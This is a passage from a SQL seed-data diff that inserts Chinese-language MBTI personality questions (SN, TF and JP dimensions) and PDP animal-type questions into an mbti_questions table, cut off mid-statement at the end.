INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在讨论问题时,您更关注:', '[{\"value\":\"S\",\"text\":\"具体事实和实际例子\"},{\"value\":\"N\",\"text\":\"概念和理论框架\"}]', 'SN', NULL, 38, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的学习方式是:', '[{\"value\":\"S\",\"text\":\"通过实践和具体例子学习\"},{\"value\":\"N\",\"text\":\"通过理论和概念学习\"}]', 'SN', NULL, 39, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注现在和过去的经验\"},{\"value\":\"N\",\"text\":\"思考未来和可能发生的事情\"}]', 'SN', NULL, 40, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在解决问题时,您更依赖:', '[{\"value\":\"S\",\"text\":\"已经证明有效的方法和经验\"},{\"value\":\"N\",\"text\":\"创新的思路和直觉\"}]', 'SN', NULL, 41, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作是:', '[{\"value\":\"S\",\"text\":\"有明确目标和具体步骤的工作\"},{\"value\":\"N\",\"text\":\"允许探索和创新的工作\"}]', 'SN', NULL, 42, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注实际和现实的问题\"},{\"value\":\"N\",\"text\":\"思考抽象和理论性的问题\"}]', 'SN', NULL, 43, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"S\",\"text\":\"按照既定的方法和程序工作\"},{\"value\":\"N\",\"text\":\"尝试新的方法和创新的解决方案\"}]', 'SN', NULL, 44, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更关注:', '[{\"value\":\"S\",\"text\":\"实际的细节和具体的事实\"},{\"value\":\"N\",\"text\":\"整体的概念和潜在的可能性\"}]', 'SN', NULL, 45, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在做决定时,您通常会:', '[{\"value\":\"T\",\"text\":\"考虑逻辑和客观分析\"},{\"value\":\"F\",\"text\":\"考虑个人价值观和他人感受\"}]', 'TF', NULL, 46, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"公正客观地分析情况\"},{\"value\":\"F\",\"text\":\"考虑决定对人的影响\"}]', 'TF', NULL, 47, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在解决冲突时,您更关注:', '[{\"value\":\"T\",\"text\":\"找出问题的根本原因和逻辑解决方案\"},{\"value\":\"F\",\"text\":\"维护关系和照顾各方感受\"}]', 'TF', NULL, 48, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"直接指出问题,即使可能伤害他人感受\"},{\"value\":\"F\",\"text\":\"委婉表达,避免伤害他人感受\"}]', 'TF', NULL, 49, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在评估情况时,您更重视:', '[{\"value\":\"T\",\"text\":\"客观事实和逻辑分析\"},{\"value\":\"F\",\"text\":\"人际关系和价值观\"}]', 'TF', NULL, 50, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"保持客观,不受个人情感影响\"},{\"value\":\"F\",\"text\":\"考虑决定对他人的情感影响\"}]', 'TF', NULL, 51, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在团队中,您更关注:', '[{\"value\":\"T\",\"text\":\"任务的完成和效率\"},{\"value\":\"F\",\"text\":\"团队和谐和成员满意度\"}]', 'TF', NULL, 52, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"基于逻辑和事实做决定\"},{\"value\":\"F\",\"text\":\"基于价值观和个人信念做决定\"}]', 'TF', NULL, 53, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在给予反馈时,您更倾向于:', '[{\"value\":\"T\",\"text\":\"直接指出问题和改进方向\"},{\"value\":\"F\",\"text\":\"先肯定优点,再委婉提出建议\"}]', 'TF', NULL, 54, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更看重:', '[{\"value\":\"T\",\"text\":\"公平和一致性\"},{\"value\":\"F\",\"text\":\"同情和个人情况\"}]', 'TF', NULL, 55, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在工作中,您更重视:', '[{\"value\":\"T\",\"text\":\"效率和成果\"},{\"value\":\"F\",\"text\":\"团队合作和人际关系\"}]', 'TF', NULL, 56, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"客观分析问题,不受个人情感影响\"},{\"value\":\"F\",\"text\":\"考虑决定对人的影响和感受\"}]', 'TF', NULL, 57, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在处理冲突时,您更倾向于:', '[{\"value\":\"T\",\"text\":\"关注问题本身,寻求公正的解决方案\"},{\"value\":\"F\",\"text\":\"关注人际关系,寻求和谐的解决方案\"}]', 'TF', NULL, 58, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更看重:', '[{\"value\":\"T\",\"text\":\"真实和诚实,即使可能伤害感情\"},{\"value\":\"F\",\"text\":\"善良和体贴,避免伤害他人\"}]', 'TF', NULL, 59, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在评价他人时,您更倾向于:', '[{\"value\":\"T\",\"text\":\"客观评价其表现和能力\"},{\"value\":\"F\",\"text\":\"考虑其努力和意图\"}]', 'TF', NULL, 60, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"基于原则和规则做决定\"},{\"value\":\"F\",\"text\":\"基于具体情况和个人需求做决定\"}]', 'TF', NULL, 61, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在处理问题时,您更关注:', '[{\"value\":\"T\",\"text\":\"找出最有效的解决方案\"},{\"value\":\"F\",\"text\":\"确保所有人都感到被尊重和理解\"}]', 'TF', NULL, 62, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"保持客观和理性\"},{\"value\":\"F\",\"text\":\"表达同理心和关怀\"}]', 'TF', NULL, 63, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在做决定时,您更看重:', '[{\"value\":\"T\",\"text\":\"逻辑和一致性\"},{\"value\":\"F\",\"text\":\"价值观和人际和谐\"}]', 'TF', NULL, 64, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"分析问题,寻找最佳解决方案\"},{\"value\":\"F\",\"text\":\"理解他人感受,寻求共识\"}]', 'TF', NULL, 65, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在工作中,您更重视:', '[{\"value\":\"T\",\"text\":\"完成任务和达成目标\"},{\"value\":\"F\",\"text\":\"维护良好的工作关系\"}]', 'TF', NULL, 66, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"基于事实和数据做决定\"},{\"value\":\"F\",\"text\":\"考虑决定对人的影响\"}]', 'TF', NULL, 67, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"提前计划并按计划执行\"},{\"value\":\"P\",\"text\":\"保持灵活,根据情况调整\"}]', 'JP', NULL, 68, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按时完成任务,避免拖延\"},{\"value\":\"P\",\"text\":\"在最后期限前完成任务,保持灵活性\"}]', 'JP', NULL, 69, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"J\",\"text\":\"有明确的规则和结构\"},{\"value\":\"P\",\"text\":\"灵活多变,允许即兴发挥\"}]', 'JP', NULL, 70, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"制定详细的计划并遵循\"},{\"value\":\"P\",\"text\":\"根据情况随机应变\"}]', 'JP', NULL, 71, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有条理和组织的生活方式\"},{\"value\":\"P\",\"text\":\"自然流动和灵活的生活方式\"}]', 'JP', NULL, 72, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在做决定时,您更倾向于:', '[{\"value\":\"J\",\"text\":\"尽快做出决定并执行\"},{\"value\":\"P\",\"text\":\"保持选项开放,等待更多信息\"}]', 'JP', NULL, 73, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"按照既定的时间表和计划行事\"},{\"value\":\"P\",\"text\":\"根据当下的情况和感受行事\"}]', 'JP', NULL, 74, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"完成一项任务后再开始下一项\"},{\"value\":\"P\",\"text\":\"同时处理多项任务,根据情况切换\"}]', 'JP', NULL, 75, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作方式是:', '[{\"value\":\"J\",\"text\":\"有明确的目标和截止日期\"},{\"value\":\"P\",\"text\":\"灵活的工作流程,可以随时调整\"}]', 'JP', NULL, 76, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"提前做决定,避免最后一刻的压力\"},{\"value\":\"P\",\"text\":\"保持选项开放,等待最佳时机\"}]', 'JP', NULL, 77, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您的工作区域通常是:', '[{\"value\":\"J\",\"text\":\"整洁有序,物品摆放有规律\"},{\"value\":\"P\",\"text\":\"创意性混乱,物品随手可及\"}]', 'JP', NULL, 78, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按部就班地完成任务\"},{\"value\":\"P\",\"text\":\"在灵感来临时集中精力工作\"}]', 'JP', NULL, 79, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有明确的规则和指导方针\"},{\"value\":\"P\",\"text\":\"灵活的环境,可以自由发挥\"}]', 'JP', NULL, 80, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"提前计划假期和活动\"},{\"value\":\"P\",\"text\":\"即兴决定和安排活动\"}]', 'JP', NULL, 81, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有明确的日程安排\"},{\"value\":\"P\",\"text\":\"根据当天的情况决定\"}]', 'JP', NULL, 82, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按照计划行事,避免意外\"},{\"value\":\"P\",\"text\":\"适应变化,享受意外惊喜\"}]', 'JP', NULL, 83, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的生活方式是:', '[{\"value\":\"J\",\"text\":\"有规律和可预测的\"},{\"value\":\"P\",\"text\":\"自然流动和多变的\"}]', 'JP', NULL, 84, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"提前做好准备,避免匆忙\"},{\"value\":\"P\",\"text\":\"在最后一刻完成准备,保持灵活性\"}]', 'JP', NULL, 85, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"明确的指导和方向\"},{\"value\":\"P\",\"text\":\"探索不同的可能性\"}]', 'JP', NULL, 86, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按照既定的程序和方法工作\"},{\"value\":\"P\",\"text\":\"根据情况调整工作方法\"}]', 'JP', NULL, 87, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有明确的目标和计划\"},{\"value\":\"P\",\"text\":\"保持开放的态度,随机应变\"}]', 'JP', NULL, 88, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"做决定并坚持执行\"},{\"value\":\"P\",\"text\":\"保持灵活,根据新信息调整\"}]', 'JP', NULL, 89, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"J\",\"text\":\"有明确的期望和截止日期\"},{\"value\":\"P\",\"text\":\"灵活的工作流程和时间安排\"}]', 'JP', NULL, 90, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); + +-- pdp 题库数据 +-- enterpriseId: NULL (超管题库) + +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '面对紧急任务,您的第一反应是:', '[{\"value\":\"Tiger\",\"text\":\"立即行动,快速完成\"},{\"value\":\"Peacock\",\"text\":\"召集团队,激励大家\"},{\"value\":\"Koala\",\"text\":\"冷静分析,稳步推进\"},{\"value\":\"Owl\",\"text\":\"仔细规划,确保无误\"},{\"value\":\"Chameleon\",\"text\":\"根据情况灵活应对\"}]', NULL, NULL, 1, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '在社交场合,您通常会:', '[{\"value\":\"Tiger\",\"text\":\"主导话题,引领讨论\"},{\"value\":\"Peacock\",\"text\":\"活跃气氛,成为焦点\"},{\"value\":\"Koala\",\"text\":\"安静倾听,适时回应\"},{\"value\":\"Owl\",\"text\":\"观察分析,选择性交流\"},{\"value\":\"Chameleon\",\"text\":\"根据对象调整方式\"}]', NULL, NULL, 2, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您最看重工作中的:', '[{\"value\":\"Tiger\",\"text\":\"权力和成就\"},{\"value\":\"Peacock\",\"text\":\"认可和赞赏\"},{\"value\":\"Koala\",\"text\":\"稳定和和谐\"},{\"value\":\"Owl\",\"text\":\"准确和质量\"},{\"value\":\"Chameleon\",\"text\":\"平衡和适应\"}]', NULL, NULL, 3, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '处理冲突时,您倾向于:', '[{\"value\":\"Tiger\",\"text\":\"直接面对,迅速解决\"},{\"value\":\"Peacock\",\"text\":\"调解双方,化解矛盾\"},{\"value\":\"Koala\",\"text\":\"避免冲突,维护和平\"},{\"value\":\"Owl\",\"text\":\"分析原因,理性处理\"},{\"value\":\"Chameleon\",\"text\":\"灵活应对,视情况而定\"}]', NULL, NULL, 4, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的决策风格是:', '[{\"value\":\"Tiger\",\"text\":\"果断迅速,行动导向\"},{\"value\":\"Peacock\",\"text\":\"直觉判断,情感驱动\"},{\"value\":\"Koala\",\"text\":\"深思熟虑,追求共识\"},{\"value\":\"Owl\",\"text\":\"数据分析,逻辑推理\"},{\"value\":\"Chameleon\",\"text\":\"综合考虑,灵活决策\"}]', NULL, NULL, 5, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '面对压力,您会:', '[{\"value\":\"Tiger\",\"text\":\"更加强势,控制局面\"},{\"value\":\"Peacock\",\"text\":\"寻求支持,表达情绪\"},{\"value\":\"Koala\",\"text\":\"保持冷静,稳定情绪\"},{\"value\":\"Owl\",\"text\":\"更加谨慎,反复确认\"},{\"value\":\"Chameleon\",\"text\":\"调整策略,灵活应对\"}]', NULL, NULL, 6, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的领导风格是:', '[{\"value\":\"Tiger\",\"text\":\"指挥型,明确方向\"},{\"value\":\"Peacock\",\"text\":\"激励型,鼓舞士气\"},{\"value\":\"Koala\",\"text\":\"支持型,关怀团队\"},{\"value\":\"Owl\",\"text\":\"专家型,以身作则\"},{\"value\":\"Chameleon\",\"text\":\"教练型,因材施教\"}]', NULL, NULL, 7, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您处理细节的方式是:', '[{\"value\":\"Tiger\",\"text\":\"关注大局,委托他人\"},{\"value\":\"Peacock\",\"text\":\"可能忽略,更重整体\"},{\"value\":\"Koala\",\"text\":\"认真对待,确保准确\"},{\"value\":\"Owl\",\"text\":\"极度重视,追求完美\"},{\"value\":\"Chameleon\",\"text\":\"视情况决定关注程度\"}]', NULL, NULL, 8, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的沟通方式是:', '[{\"value\":\"Tiger\",\"text\":\"直接简短,注重结果\"},{\"value\":\"Peacock\",\"text\":\"热情生动,富有感染力\"},{\"value\":\"Koala\",\"text\":\"温和耐心,善于倾听\"},{\"value\":\"Owl\",\"text\":\"逻辑清晰,注重事实\"},{\"value\":\"Chameleon\",\"text\":\"根据对象调整方式\"}]', NULL, NULL, 9, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您对变化的态度是:', '[{\"value\":\"Tiger\",\"text\":\"主动推动,寻找机会\"},{\"value\":\"Peacock\",\"text\":\"积极拥抱,乐观面对\"},{\"value\":\"Koala\",\"text\":\"需要适应时间\"},{\"value\":\"Owl\",\"text\":\"谨慎评估,确保万全\"},{\"value\":\"Chameleon\",\"text\":\"灵活适应,随机应变\"}]', NULL, NULL, 10, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的时间管理风格是:', '[{\"value\":\"Tiger\",\"text\":\"高效利用,追求速度\"},{\"value\":\"Peacock\",\"text\":\"灵活安排,留有余地\"},{\"value\":\"Koala\",\"text\":\"按部就班,稳定执行\"},{\"value\":\"Owl\",\"text\":\"精确规划,严格执行\"},{\"value\":\"Chameleon\",\"text\":\"根据情况调整计划\"}]', NULL, NULL, 11, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您被什么激励:', '[{\"value\":\"Tiger\",\"text\":\"成就和权力\"},{\"value\":\"Peacock\",\"text\":\"认可和赞赏\"},{\"value\":\"Koala\",\"text\":\"安全和归属\"},{\"value\":\"Owl\",\"text\":\"正确和标准\"},{\"value\":\"Chameleon\",\"text\":\"多样性和平衡\"}]', NULL, NULL, 12, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您的学习方式是:', '[{\"value\":\"Tiger\",\"text\":\"边做边学,实践第一\"},{\"value\":\"Peacock\",\"text\":\"互动讨论,分享学习\"},{\"value\":\"Koala\",\"text\":\"循序渐进,反复练习\"},{\"value\":\"Owl\",\"text\":\"深入研究,系统学习\"},{\"value\":\"Chameleon\",\"text\":\"多种方式结合\"}]', NULL, NULL, 13, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '您对规则的态度是:', '[{\"value\":\"Tiger\",\"text\":\"规则是用来打破的\"},{\"value\":\"Peacock\",\"text\":\"灵活运用,不拘一格\"},{\"value\":\"Koala\",\"text\":\"遵守规则,维护秩序\"},{\"value\":\"Owl\",\"text\":\"严格遵守,确保合规\"},{\"value\":\"Chameleon\",\"text\":\"视情况灵活处理\"}]', NULL, NULL, 14, 1, 